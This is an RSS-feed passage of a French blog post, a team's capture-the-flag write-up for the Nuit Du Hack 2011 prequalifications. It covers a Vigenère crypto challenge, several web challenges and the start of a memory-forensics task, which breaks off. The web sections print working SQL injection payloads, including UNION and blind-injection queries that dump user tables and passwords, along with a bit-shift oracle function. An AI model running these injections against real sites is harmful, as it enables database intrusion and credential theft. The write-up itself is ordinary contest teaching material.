<p><a href="http://www.lestutosdenico.com/wp-content/uploads/2011/04/crackme-granted.png"><img class="aligncenter size-full wp-image-2263" title="crackme granted" src="http://www.lestutosdenico.com/wp-content/uploads/2011/04/crackme-granted.png" alt="" width="610" height="333" /></a></p>

<p><a href="http://feedads.g.doubleclick.net/~a/7Cz7pLLsWepVma1inU4hblTqpGQ/0/da"><img src="http://feedads.g.doubleclick.net/~a/7Cz7pLLsWepVma1inU4hblTqpGQ/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/7Cz7pLLsWepVma1inU4hblTqpGQ/1/da"><img src="http://feedads.g.doubleclick.net/~a/7Cz7pLLsWepVma1inU4hblTqpGQ/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/LesTutosDeNico/~4/jyjzmowdfck" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.lestutosdenico.com/evenements/writeup-rce100-prequalifications-ndh-2k11/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.lestutosdenico.com/evenements/writeup-rce100-prequalifications-ndh-2k11</feedburner:origLink></item>
		<item>
		<title>Writeup préqualifications NDH 2k11</title>
		<link>http://feedproxy.google.com/~r/LesTutosDeNico/~3/HYvQN6ox4KQ/writeup-prequalifications-ndh-2k11</link>
		<comments>http://www.lestutosdenico.com/evenements/writeup-prequalifications-ndh-2k11#comments</comments>
		<pubDate>Mon, 04 Apr 2011 22:13:32 +0000</pubDate>
		<dc:creator>Nico</dc:creator>
				<category><![CDATA[Evènements]]></category>
		<category><![CDATA[CTF]]></category>
		<category><![CDATA[CTF NDH]]></category>
		<category><![CDATA[Ndh]]></category>
		<category><![CDATA[NDH2k11]]></category>
		<category><![CDATA[Sydream CTF]]></category>
		<category><![CDATA[Writeup CTF]]></category>

		<guid isPermaLink="false">http://www.lestutosdenico.com/?p=2203</guid>
		<description><![CDATA[&#160; Ce week-end et ce durant 48 heures, a eu lieu les pré-qualifications pour le CTF de la Nuit Du Hack 2011. Plus de 237 équipes se sont inscrites afin de se confronter autour de 12 épreuves regroupées dans 4 domaines à savoir : La Cryptographie ; L&#8217;analyse forensique ; Les vulnérabilités Web ; La [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">&nbsp;</p>
<p style="text-align: justify;"><a href="http://www.lestutosdenico.com/wp-content/uploads/2011/04/CTFNDH2011.png"><img class="aligncenter size-full wp-image-2205" title="CTFNDH2011" src="http://www.lestutosdenico.com/wp-content/uploads/2011/04/CTFNDH2011.png" alt="" width="530" height="185" /></a><br />
Ce week-end et ce <strong>durant 48 heures</strong>, a eu lieu les pré-qualifications pour le<strong> CTF de la Nuit Du Hack 2011</strong>. Plus de <strong>237 équipes</strong> se sont inscrites afin de se confronter autour de <strong>12 épreuves</strong> regroupées dans <strong>4 domaines</strong> à savoir :</p>
<ol>
<li>La Cryptographie ;</li>
<li>L&#8217;analyse forensique ;</li>
<li>Les vulnérabilités Web ;</li>
<li>La retro-ingénierie.</li>
</ol>
<p>Chaque équipe se voyait attribuer des points pour chaque épreuve résolue (variable suivant la difficulté) incluant un bonus pour l&#8217;équipe ayant résolu en premier l&#8217;épreuve.</p>
<p>J&#8217;ai participé à ce CTF avec l&#8217;équipe<span style="color: #ff0000;"><strong> Zenk-Security</strong></span> (nico34, Kr0ch0u, bufferoverfl0w, joanelis, Le_Malade, shp, ezano, Tr00ps, Saiketsu, strepoetlo, Debaser, et moi-même).</p>
<p>Bien qu&#8217;ayant commencé pas trop mal, nous avons fini à la 20ème place avec<span style="color: #ff0000;"> <strong>8 épreuves sur  12 réussies</strong></span>.</p>
<p>Voici donc le Writeup écrit par nico34, Kr0ch0u, Debaser, bufferoverfl0w (gros bisous de poneys à eux) et moi-même, suivi de liens vers d&#8217;autres solutions.</p>
<p><strong>!!! Here We Go !!!!</strong></p>
<h2><span style="color: #ff6600;"><strong>1) CRYTPO100</strong></span></h2>
<p style="text-align: justify;">Dans un premier temps, il fallait reconnaitre le chiffrement. En analysant un peu, nous avons remarqué que certaines lettres et ponctuations revenaient assez régulièrement. L&#8217;habitude des CTF a fait que nous avons tout de suite pensé à du <a href="http://fr.wikipedia.org/wiki/Chiffre_de_Vigen%C3%A8re">Vigenère</a> (assez classique) :</p>
<p style="text-align: justify;"><span style="color: #008000;">NFPTF WAWMG SSCQY AMG CDCI, WIT TWFAIEVLAUHG GYGMICMWHI GFPZMUHCK KPLGL ZWHTRRVPA RRE, LPCT GPH JBDRTWZ ZMFWJ GPVIWMK. OAXIKJQIF PVA CXEFI KUEMVP PXWHO, ESCV JTZSGJW MQSCTGCKC SNW DYKWXTZV AZMFVZOJX, BPUMY BYJ GB MXVCD, KPZBL JSWXPZUPA PNELQ SBOX. WMMEIEFPAWR UTCAXFTWIOT PVEACW NTTS JM. ALWKU RSEXHTPVU VQI LOAMWH TVRV BB, XVPTGSNBE PGLTQ RNPYYNO, ZB PM DSEKYAPLU HZGH CK CABH, XEYHP HFPLK ERPVYC OSYIFUIMJ GA CVAC, DMCMSD IM MTH. CGJBYF ORSGBG DGWFTVZUXCI FKK NTWS DIV YI, WLUWMRQKJQT NH QIJGTRKWT AGRNVPXLEFI, WN SMTVBUWG XFJJMDLX VCVRZUZQQ NPKC CNBN QGFAMJ, GYIX FGD GS KWDYK GPYIKZ. XVBKE NGHWY, SVCD RVE WPEEGKPP GCY, TJYIMLO WWVGC DCING ASJNP EIEB QH QQCMG, VCCTGLXW CGV, NVVPXGAEO L&#8230;</span> <span style="color: #008000;"> </span></p>
<p>On insère notre chiffré sur le site suivant : <a href="http://smurfoncrack.com/pygenere/pygenere.php">http://smurfoncrack.com/pygenere/pygenere.php</a></p>
<p>En insérant une clé de<strong> 1-18</strong> et en choisissant la langue française, le site nous indiquait la valeur de cette clé qui n&#8217;était autre que le flag permettant de valider l&#8217;épreuve :</p>
<p><a href="http://www.lestutosdenico.com/wp-content/uploads/2011/04/CRYPTO100.png"><img class="aligncenter size-full wp-image-2210" title="CRYPTO100" src="http://www.lestutosdenico.com/wp-content/uploads/2011/04/CRYPTO100.png" alt="" width="512" height="460" /></a></p>
<h2><span style="color: #ff6600;"><strong>2) WEB100</strong></span></h2>
<p style="text-align: justify;">Dans cette épreuve, nous avons accès à une page Web qui nous  demande un couple login/password :</p>
<p style="text-align: justify;"><a href="http://wtfbbq.prequals.nuitduhack.com/ ">http://wtfbbq.prequals.nuitduhack.com/ </a></p>
<p style="text-align: justify;">Plus bas nous avons accès à une page permettant de s&#8217;enregistrer :</p>
<p style="text-align: justify;"><a href="http://wtfbbq.prequals.nuitduhack.com/inscription.php">http://wtfbbq.prequals.nuitduhack.com/inscription.php</a></p>
<p style="text-align: justify;">Nous devons créer un compte afin d&#8217;accéder à l&#8217;espace membre qui, après nous être connecté, nous affiche ceci :</p>
<p style="text-align: justify;"><a href="http://www.lestutosdenico.com/wp-content/uploads/2011/04/WEB100.png"><img class="aligncenter size-full wp-image-2211" title="WEB100" src="http://www.lestutosdenico.com/wp-content/uploads/2011/04/WEB100.png" alt="" width="592" height="107" /></a></p>
<p style="text-align: justify;">L&#8217;astuce ici est qu&#8217;il faut s’apercevoir que lorsque l&#8217;on utilise l&#8217;option &laquo;&nbsp;<span style="color: #ff6600;"><strong>Remember Me</strong></span>&nbsp;&raquo; de la page de connexion, nous pouvons voir qu&#8217;un cookie du nom de &laquo;&nbsp;<strong><span style="color: #ff6600;">user_cookies</span></strong>&nbsp;&raquo; se forme ayant pour contenu un code en base64 : <span style="color: #008000;">YToyOntpOjA7czozMjoiZTEwYWRjMzk0OWJhNTlhYmJlNTZlMDU3ZjIwZjg4M2UiO2k6MTtzOjc6IndyaXRldXAiO30</span></p>
<p>En décodant ce base64, nous obtenons ceci :</p>
<p style="text-align: justify;"><span style="color: #ff0000;">a:2:{i:0;s:32:&nbsp;&raquo;e10adc3949ba59abbe56e057f20f883e&nbsp;&raquo;;i:1;s:7:&nbsp;&raquo;writeup&nbsp;&raquo;;}</span></p>
<p style="text-align: justify;">De là, il est nécessaire reconnaitre la fonction <a href="http://php.net/manual/fr/function.serialize.php">serialize</a> de PHP. La sortie nous indique :</p>
<ul>
<li><span style="color: #ff0000;">a:2:</span> : un tableau de deux éléments ;</li>
<li><span style="color: #ff0000;">i:0</span> : le premier élément du tableau ;</li>
<li><span style="color: #ff0000;">s:32:&nbsp;&raquo;e10adc3949ba59abbe56e057f20f883e&nbsp;&raquo;</span> : la longueur du premier élément puis sa valeur; ici le hash md5 du password &laquo;&nbsp;123456&#8243; ;</li>
<li><span style="color: #ff0000;">i:1</span> : le deuxième élément du tableau ;</li>
<li><span style="color: #ff0000;">s:7 </span>:&nbsp;&raquo;writeup&nbsp;&raquo; : la longueur du deuxième élément puis sa valeur; ici le login &laquo;&nbsp;writeup&nbsp;&raquo; ;</li>
</ul>
<p style="text-align: justify;">En essayant de comprendre le code qui tournait derrière, nous en avons conclu qu&#8217;il reprenait ce cookie pour faire une comparaison avec le vrai password. Or si nous retournons un <strong>booléen</strong> de type <strong>true</strong>, la comparaison sera forcément<strong> vrai</strong> et nous pourrons nous connecter sur n&#8217;importe quel compte.</p>
<p style="text-align: justify;">Après avoir testé les différents comptes (admin,administrateur,administrateur,root&#8230;), nous avons trouvé qu&#8217;une <strong>injection sql</strong> était possible via le deuxième élément de fonction serialize, c&#8217;est à dire le login.</p>
<p style="text-align: justify;">Voici un script permettant d&#8217;automatiser l&#8217;injection : <a href="http://www.lestutosdenico.com/CTF/NDH2K11/Web100_sqli.txt">Web100_sqli.php</a></p>
<p style="text-align: justify;">Rapidement nous plaçons nos injections en paramètres :</p>
<p><span style="color: #008000;">$ php injection.php &laquo;&nbsp;-4&#8242;ORDER BY 7#&nbsp;&raquo;</span><br />
<span style="color: #008000;"> $ php injection.php &laquo;&nbsp;-4&#8242;union all select 0,0,group_concat(schema_name),0,0,0 from information_schema.schemata#&nbsp;&raquo;</span><br />
<span style="color: #008000;"> $ php injection.php &laquo;&nbsp;-4&#8242;union all select  0,0,group_concat(table_name),0,0,0 from information_schema.tables where  table_schema=&#8217;prequals_web1&#8242;#&nbsp;&raquo;</span><br />
<span style="color: #008000;"> $ php injection.php &laquo;&nbsp;-4&#8242;union all select  0,0,group_concat(column_name),0,0,0 from information_schema.columns  where table_name=&#8217;utilisateurs&#8217;#&nbsp;&raquo;</span><br />
<span style="color: #008000;"> $ php injection.php &laquo;&nbsp;-4&#8242;union all select  0,0,group_concat(id_user,0x3a,login,0x3a,pass,0x3a,nom,0x3a,prenom,0x3a,privilege),0,0,0  from utilisateurs</span><br />
<span style="color: #008000;"> where privilege!=&#8217;user&#8217;#&nbsp;&raquo;</span></p>
<p style="text-align: justify;">W00t, on a le compte admin <img src='http://www.lestutosdenico.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<h2 style="text-align: justify;"><span style="color: #ff6600;"><strong>3) WEB200</strong></span></h2>
<p style="text-align: justify;">Cette épreuve était assez amusante car elle nous rappelait la bonne vieille image de drop database des radars fixe :</p>
<p style="text-align: justify;"><a href="http://www.lestutosdenico.com/wp-content/uploads/2011/04/VoitureSQL.png"><img class="aligncenter size-full wp-image-2212" title="VoitureSQL" src="http://www.lestutosdenico.com/wp-content/uploads/2011/04/VoitureSQL.png" alt="" width="504" height="372" /></a></p>
<p style="text-align: justify;">Dans cette <a href="http://ziggyzag.prequals.nuitduhack.com/">épreuve</a>, nous accédons à une page comprenant un formulaire d&#8217;upload :</p>
<p style="text-align: justify;"><a href="http://www.lestutosdenico.com/wp-content/uploads/2011/04/Web200_upload.png"><img class="aligncenter size-full wp-image-2214" title="Web200_upload" src="http://www.lestutosdenico.com/wp-content/uploads/2011/04/Web200_upload.png" alt="" width="557" height="320" /></a></p>
<p style="text-align: justify;">Après  plusieurs tentatives, nous nous sommes rendu compte que la source était  disponible à l&#8217;adresse suivante :</p>
<p style="text-align: justify;"><a href="http://ziggyzag.prequals.nuitduhack.com/form.php~">http://ziggyzag.prequals.nuitduhack.com/form.php~</a></p>
<p style="text-align: justify;">À l&#8217;heure actuelle nous ne savons pas si cette erreur était voulue ou non car le lien n&#8217;est plus accessible. Néanmoins, nous avons pensé à faire un backup de la source qui est accessible <a href="http://repo.zenk-security.com/ndh2k11_ctf/source_web200.phps">ici</a>.</p>
<p><span style="color: #ff0000;"><strong>EDIT : </strong></span><strong> </strong><strong> </strong> <span style="color: #ff0000;">d&#8217;après le staff, ces fichiers temporaires sont apparus après la restauration du backup des épreuves :</span> <a href="http://crashfr.thehackademy.net/resume-prequals-nuit-du-hack-2011">voir l&#8217;explication</a>.</p>
<p style="text-align: justify;">Le code convertit l&#8217;image en .tif puis récupère le texte présent à l&#8217;aide de <a href="http://code.google.com/p/tesseract-ocr/">tesseract</a>.</p>
<p style="text-align: justify;">La requête SQL n&#8217;étant pas protégée,  nous avons injecté des requêtes via les images suivantes :</p>
<p><a href="http://www.lestutosdenico.com/wp-content/uploads/2011/04/or_1.jpg"><img class="aligncenter size-full wp-image-2215" title="or_1" src="http://www.lestutosdenico.com/wp-content/uploads/2011/04/or_1.jpg" alt="" width="449" height="148" /></a><span style="color: #008000;">List of infractions found for: &#8216;OR&#8217;1&#8242;=1&#8211; -</span></p>
<p><span style="color: #008000;">* Pissed on the motorway</span><br />
<span style="color: #008000;">* Showed ass to police</span><br />
<span style="color: #008000;">* 200kmh in town</span><br />
<span style="color: #008000;">* 5g/L !!!</span><br />
<span style="color: #008000;">* No driving license</span><br />
<span style="color: #008000;">* No seatbelt</span><br />
<span style="color: #008000;">* Incorrect usage of car</span><br />
<span style="color: #008000;">* Driver error</span><br />
<span style="color: #008000;">* Too old to drive</span><br />
<span style="color: #008000;">* almost..</span><br />
<span style="color: #008000;">* Parking in a handicap spot !</span><br />
<span style="color: #008000;">* Biking on motorway..</span><br />
<span style="color: #008000;">* Prostitute assault on Paris ring road</span><br />
<span style="color: #008000;">* Racing on the motorway is forbidden !</span><br />
<span style="color: #008000;">* insane driving !! WTF ??!!</span><br />
<span style="color: #008000;">* Thinks he&#8217;s in Need for speed</span><br />
<span style="color: #008000;">* Laughing at policemen!!!</span></p>
<p style="text-align: justify;">Tiens, on a réussi à dumper tous les commentaires des images. Continuons donc dans notre lancée en injectant des requêtes permettant de récuperer le contenu des tables, colonnes, etc.</p>
<p>Après un<span style="color: #ff0000;"><strong> &#8216;UNION SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where &#8216;x&#8217;='x</strong></span> nous obtenons la table : <strong><span style="color: #ff0000;">POWN3D</span></strong></p>
<p>Pour finir, en injectant l&#8217;image suivante, nous avons obtenu le flag :</p>
<h2 style="text-align: justify;"><a href="http://www.lestutosdenico.com/wp-content/uploads/2011/04/solution_zenkweb200.jpg"><img class="aligncenter size-full wp-image-2216" title="solution_zenkweb200" src="http://www.lestutosdenico.com/wp-content/uploads/2011/04/solution_zenkweb200.jpg" alt="" width="608" height="89" /></a><span style="color: #ff6600;"><strong>4) WEB300</strong></span></h2>
<p style="text-align: justify;">Dans cette épreuve, nous avons accès à une page web qui nous demandait le traditionnel couple<strong> login/password</strong> ainsi qu&#8217;un <strong>captcha</strong> :</p>
<p style="text-align: justify;"><a href="http://ownm3.prequals.nuitduhack.com/">http://ownm3.prequals.nuitduhack.com/</a></p>
<p>Après quelques tests, on remarque une vulnérabilité de type &laquo;&nbsp;<strong><span style="color: #ff6600;">full path disclosure</span></strong>&nbsp;&raquo; en mettant les paramètres suivants dans une requette <strong>POST</strong> :</p>
<p><span style="color: #008000;">user=a&amp;pass[]=b&amp;userCode=c&amp;connexion=Log+in</span></p>
<p>Dans le champ password, nous obtenons :</p>
<p><span style="color: #008000;">&lt;input type=&nbsp;&raquo;password&nbsp;&raquo; value=&nbsp;&raquo;Warning: trim() expects parameter 1 to be string, array given in /var/www/web300/index.php on line 71&#8243; name=&nbsp;&raquo;pass&nbsp;&raquo;&gt;</span></p>
<p>Mais osef, c&#8217;est useless <img src='http://www.lestutosdenico.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  et après quelques autres tests, on suppose qu&#8217;il n&#8217;y a pas de<strong> SQLi</strong> dans le formulaire.</p>
<p>Parallèlement, on essaie de comprendre comment le captcha est généré.</p>
<p>Un code javascript permet de recharger le captcha :</p>
<p><span style="color: #008000;">onclick=&nbsp;&raquo;document.images.captcha.src=&#8217;captcha.php?id=&#8217;+Math.round(Math.random(0)*1000)+1&#8243;</span></p>
<p>On  se concentre alors sur la page suivante en jouant avec le paramètre <strong>GET id</strong> :</p>
<p><span style="color: #008000;">http://ownm3.prequals.nuitduhack.com/captcha.php?id=1</span></p>
<p>Il ne semble pas être possible de faire une injection sur celui-ci. De plus, deux appels consécutifs à cette page avec le même id rendent des images captcha différentes.</p>
<p>Nous constatons qu&#8217;une variable <strong><span style="color: #ff6600;">pac</span></strong> est stockée à chaque requête dans nos <strong>cookies</strong>, avec ce qui semblerait être un<strong> hash md5</strong>.</p>
<p>Nous découvrons également que le cookie <strong><span style="color: #ff6600;">pac</span></strong> semble être utilisé au niveau de la page <strong>captcha.php</strong> dans une requête <strong>SQL</strong>, et qu&#8217;une injection est possible.</p>
<p>En ajoutant une <strong>quote</strong> et une requête <strong>SQL AND</strong> on a droit a une jolie Blind SQLi <img src='http://www.lestutosdenico.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p><span style="color: #008000;">pac=a2b66be9d4f02051320c97da8bebab25&#8242; and &#8217;1&#8242;=&#8217;1</span></p>
<p>est une condition VRAIE et l&#8217;image du captcha contient un texte aléatoire de 5 caractères.</p>
<p><span style="color: #008000;">pac=a2b66be9d4f02051320c97da8bebab25&#8242; and &#8217;1&#8242;=&#8217;0</span></p>
<p>est une condition FAUSSE et l&#8217;image du captcha contient le texte ERROR !</p>
<p>Nous allons donc pouvoir utiliser cette injection pour dumper les tables, en se basant sur une <strong>analyse OCR</strong> de l&#8217;image reçue.</p>
<p>Après quelques tentatives infructueuses de<strong> reverse du md5</strong> du cookie <span style="color: #ff6600;"><strong>pac</strong></span> sur différents sites, strepoetlo nous conseille le site :</p>
<p><a href="http://www.md5decrypter.co.uk/">http://www.md5decrypter.co.uk/</a> qui nous donne des résultats du type suivant :</p>
<p><span style="color: #008000;">a2b66be9d4f02051320c97da8bebab25 MD5 : U4F4B</span></p>
<p>Merveille ! on constate que le<strong> MD5</strong> correspond au texte affiché dans le <strong>captcha</strong>.</p>
<p>On est donc heureux d&#8217;apprendre que l&#8217;on n&#8217;a pas à faire d&#8217;ocr pour savoir quel est le texte du captcha. En cas de <strong>condition FAUSSE</strong> dans notre<strong> Blind SQLi</strong>, le serveur retourne une image contenant le texte <span style="color: #ff6600;"><strong>ERROR</strong></span> et le cookie <strong><span style="color: #ff6600;">pac</span></strong> contient le <strong>hash MD5</strong> de la string<strong><span style="color: #ff6600;"> ERROR </span></strong>:</p>
<p style="text-align: justify;"><span style="color: #008000;">pac=cb5e100e5a9a3e7f6d1fd97512215282 </span></p>
<p style="text-align: justify;">A l&#8217;inverse, une<strong> condition VRAIE</strong> contiendra un cookie différent.</p>
<p><span style="color: #ff6600;"><strong>Blind SQL Injection</strong></span></p>
<p>On applique les techniques de base des <strong>Blind SQL</strong> Injections sur <strong>MySQL</strong> :</p>
<ul>
<li> par dichotomie, on retrouve la longueur de la variable @@version ;</li>
<li>on récupère les caractères de la variable @@version un à un en itérant sur la fonction  ASCII(SUBSTRING(@@version, idx, 1)).</li>
</ul>
<p style="text-align: justify;">Pour récupérer le code ASCII de chaque caractère, on procède encore par dichotomie (charset ASCII entre 0 et 128, soient 8-9 itérations par caractères).<br />
A ce moment, on se rend compte que le serveur lag vraiment et que si l&#8217;on souhaite dumper l’intégralité de la base de donnée, on risque de dépasser la fin de la prequal ^_^.</p>
<p>On essaie alors d&#8217;optimiser notre script en utilisant une technique sympa, partagée quelques jours avant par mortis.</p>
<p>Les versions de <strong>MySQL supérieures à 5</strong> (cela tombe bien, c&#8217;est le cas ici) possède un <strong>opérateur bitwise shift right</strong> (<span style="color: #ff0000;"> &gt;&gt;</span> ).</p>
<p>On sait que le charset <strong>ASCII</strong> utilise <strong>7 bits</strong>, le <strong>huitième est à 0</strong>. Si on test chaque caractère <strong>bit à bit</strong>, on <span style="color: #ff0000;">gagne une itération par caractère</span>, et mine de rien, ce n&#8217;est pas négligeable !</p>
<p><span style="color: #008000;">def shr(function):</span><br />
<span style="color: #008000;"> &laquo;&nbsp;&nbsp;&raquo;"</span><br />
<span style="color: #008000;"> Using function(idx, val) as oracle saying if the idx-shifted value of</span><br />
<span style="color: #008000;"> ascii code is equal to val, shr finds this code.</span><br />
<span style="color: #008000;"> @param function oracle that says if idx-shifted value of ascii</span><br />
<span style="color: #008000;"> code is equals to val</span><br />
<span style="color: #008000;"> @return character</span><br />
<span style="color: #008000;"> &laquo;&nbsp;&nbsp;&raquo;"</span><br />
<span style="color: #008000;"> val = 0;</span><br />
<span style="color: #008000;"> idxList = range(7);</span><br />
<span style="color: #008000;"> idxList.reverse();</span><br />
<span style="color: #008000;"> for idx in l:</span><br />
<span style="color: #008000;"> if function(idx, val) != True:       # sql &gt;&gt; idx != val =&gt; sql &gt;&gt; idx = v</span><br />
<span style="color: #008000;"> val += 1</span><br />
<span style="color: #008000;"> if idx != 0:</span><br />
<span style="color: #008000;"> val &lt;&lt;= 1;</span><br />
<span style="color: #008000;"> return chr(val);</span></p>
<p>On commence alors a dumper le nom des tables avec une jolie injection (<span style="color: #ff0000;">SELECT table_name from information_schema.tables where table_schema=DATABASE() limit idx, 1</span>) en utilisant cette technique.</p>
<p>On arrete le script au deuxième resultat :</p>
<p><span style="color: #008000;">table[0] =&gt; codes</span><br />
<span style="color: #008000;">table[1] =&gt; login</span></p>
<p>On récupère (avec la méthode dichotomique) le<strong> nombre de colonnes</strong> que possède la<strong> table</strong> ‘<strong><span style="color: #ff6600;">login</span></strong>‘. On trouve <strong>3</strong>. Au lieu de dumper tous les caractères de toutes les<strong> colonnes </strong>&#8216;<span style="color: #ff6600;"><strong>column_name</strong></span>&#8216; de la<strong> table</strong> &#8216;<span style="color: #ff6600;"><strong>information_schema.columns</strong></span>&#8216;, on va bruteforcer le<strong> nom des colonnes</strong>.</p>
<p>nico34 nous donne un dictionnaire de 254 entrées, qui semble suffisant pour trouver les trois colonnes :</p>
<p><span style="color: #008000;">id</span><br />
<span style="color: #008000;">user</span><br />
<span style="color: #008000;">pass</span></p>
<p>Bingo ! On dump les valeurs des colonnes &laquo;&nbsp;<span style="color: #ff6600;"><strong>user</strong></span>&nbsp;&raquo; et &laquo;&nbsp;<strong><span style="color: #ff6600;">pass</span></strong>&nbsp;&raquo; pour<strong> id=0</strong>.</p>
<p>On voit que la colonne user contient la valeur<strong><span style="color: #ff0000;"> hackme</span></strong>, c&#8217;est bon signe, non ?</p>
<p>Il ne reste plus qu&#8217;à appliquer le même principe sur le mot de passe et c&#8217;est gagné (comme le dit si bien notre chère et tendre Dora l&#8217;exploratrice &gt;_&lt;).</p>
<p>Extraits des codes utiles (ou pas) à l&#8217;épreuve :</p>
<p><a href="http://paste.braindead.fr/index.php/view/61182337">http://paste.braindead.fr/index.php/view/61182337</a> : orc, pas utile pour valider, mais on l&#8217;a écrit avant de trouver l&#8217;astuce sur la correspondance md5 / texte affiché dans le captcha.</p>
<p><a href="http://paste.braindead.fr/index.php/view/99510748">http://paste.braindead.fr/index.php/view/99510748</a> : code de l&#8217;exploit final.</p>
<p>Article utile sur les <strong>blind SQLi</strong> :</p>
<p><a href="http://ghostsinthestack.org/article-11-blind-sql-injections.html">http://ghostsinthestack.org/article-11-blind-sql-injections.html</a></p>
<p><span style="color: #008000;">/*</span><br />
<span style="color: #008000;"> * &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</span><br />
<span style="color: #008000;"> * &laquo;&nbsp;THE BEER-WARE LICENSE&nbsp;&raquo; (Revision 42):</span><br />
<span style="color: #008000;"> * &lt;phk@FreeBSD.ORG&gt; wrote this file. As long as you retain this notice you</span><br />
<span style="color: #008000;"> * can do whatever you want with this stuff. If we meet some day, and you think</span><br />
<span style="color: #008000;"> * this stuff is worth it, you can buy me a beer in return Poul-Henning Kamp</span><br />
<span style="color: #008000;"> * &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</span><br />
<span style="color: #008000;"> */</span><span style="color: #ff6600;"><span style="color: #008000;"> </span><strong><br />
</strong></span></p>
<h2 style="text-align: justify;"><span style="color: #ff6600;"><strong>5)FORENSIC100</strong></span></h2>
<p style="text-align: justify;">Nous avons dans cette épreuve une archive &laquo;&nbsp;<strong>dump.zip</strong>&nbsp;&raquo; contenant les fichiers  &laquo;&nbsp;<strong>dump.raw</strong>&nbsp;&raquo; et &laquo;&nbsp;<strong>README</strong>&nbsp;&raquo; nous indiquant le but de l&#8217;épreuve :</p>
<p><span style="color: #008000;">===</span><br />
<span style="color: #008000;">On a dumpé la RAM d&#8217;une machine sur laquelle tournait un serveur VNC. Le but est de recupérer le mot de passe de ce serveur.</span><br />
<span style="color: #008000;">===</span></p>
<p>Essayons d&#8217;analyser ce dump via l&#8217;outil <a href="https://www.volatilesystems.com/volatility/1.3/Volatility-1.3_Beta.tar.gz">Volatility</a> :</p>
<p><span style="color: #ff6600;">$python vol.py -f dump.raw imageinfo</span></p>
<p><span style="color: #008000;">Volatile Systems Volatility Framework 1.4_rc1</span><br />
<span style="color: #008000;"> Suggested Profile(s) : <strong>WinXPSP3x86</strong>, <strong>WinXPSP2x86</strong></span><br />
<span style="color: #008000;"> AS Layer1 : JKIA32PagedMemoryPae (Kernel AS)</span><br />
<span style="color: #008000;"> AS Layer2 : FileAddressSpace (/home/user/tmp/ndh/forensic1/forensic100/Desktop/Volatility-1.4_rc1/dump.raw)</span><br />
<span style="color: #008000;"> PAE type : No PAE</span><br />
<span style="color: #008000;"> DTB : 0xae2000</span><br />
<span style="color: #008000;"> KDBG : 0x80544ce0L</span><br />
<span style="color: #008000;"> KPCR : 0xffdff000L</span><br />
<span style="color: #008000;"> KUSER_SHARED_DATA : 0xffdf0000L</span><br />
<span style="color: #008000;"> Image date and time : 2011-03-10 13:28:56 </span><br />
<span style="color: #008000;"> Image local date and time : 2011-03-10 13:28:56 </span><br />
<span style="color: #008000;"> Image Type : <strong>Service Pack 2</strong></span></p>
<p>Nous voyons que la RAM provient d&#8217;un système <strong>Windows XP</strong>. Regardons maintenant la liste des processus :</p>
<p><span style="color: #ff6600;">$python vol.py -f dump.raw pslist</span></p>
<p style="text-align: justify;"><span style="color: #008000;">Volatile Systems Volatility Framework 1.4_rc1</span><br />
<span style="color: #008000;">Offset(V)  Name                 PID    PPID   Thds   Hnds   Time </span><br />
<span style="color: #008000;">&#8212;&#8212;&#8212;- &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; &#8212;&#8212; &#8212;&#8212; &#8212;&#8212; &#8212;&#8212; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- </span><br />
<span style="color: #008000;">0x821c8830 System                    4      0     53    258 1970-01-01 00:00:00 </span><br />
<span style="color: #008000;">0x81e356d8 smss.exe                544      4      3     21 2011-03-10 13:02:27 </span><br />
<span style="color: #008000;">0x81e216e8 csrss.exe               608    544     11    319 2011-03-10 13:02:29 </span><br />
<span style="color: #008000;">0x820ac9c0 winlogon.exe            632    544     19    440 2011-03-10 13:02:29 </span><br />
<span style="color: #008000;">0x821365b0 services.exe            684    632     16    338 2011-03-10 13:02:30 </span><br />
<span style="color: #008000;">0x81bce938 lsass.exe               696    632     19    328 2011-03-10 13:02:30 </span><br />
<span style="color: #008000;">0&#215;82029720 svchost.exe             860    684     17    210 2011-03-10 13:02:31 </span><br />
<span style="color: #008000;">0x81bd1500 svchost.exe             928    684      9    232 2011-03-10 13:02:31 </span><br />
<span style="color: #008000;">0x81bf4020 svchost.exe            1020    684     59   1148 2011-03-10 13:02:31 </span><br />
<span style="color: #008000;">0x81e123c0 svchost.exe            1064    684      4     74 2011-03-10 13:02:31 </span><br />
<span style="color: #008000;">0x820df548 svchost.exe            1300    684     14    203 2011-03-10 13:02:33 </span><br />
<span style="color: #008000;">0x81c1d7e8 spoolsv.exe            1472    684     10    108 2011-03-10 13:02:34 </span><br />
<span style="color: #008000;">0x81fcf620 explorer.exe           1580   1564     11    446 2011-03-10 13:02:34 </span><br />
<span style="color: #008000;">0x81bb0020 ctfmon.exe             1664   1580      1     66 2011-03-10 13:02:35 </span><br />
<span style="color: #008000;">0x81d92020 alg.exe                 500    684      6    104 2011-03-10 13:02:58 </span><br />
<span style="color: #008000;">0x81be8020 wscntfy.exe             532   1020      1     36 2011-03-10 13:02:59 </span><br />
<span style="color: #008000;">0x81dea980 winvnc4.exe            1696    684      3     67 2011-03-10 13:09:47 </span><br />
<span style="color: #008000;">0x81f94da0 mmc.exe                1512   1580      7    241 2011-03-10 13:28:14 </span><br />
<span style="color: #008000;">0x81deb558 wmiprvse.exe           1460    860     13    204 2011-03-10 13:28:33</span></p>
<p style="text-align: justify;">Nous voyons ici notre beau processus <strong>winvnc4.exe</strong> avec un pid <strong>1696</strong>.</p>
<p style="text-align: justify;">En recherchant sur notre meilleur ami (après Lassie), on apprend que VNC stock les mots de passe dans des clés registre. Voyons cela :</p>
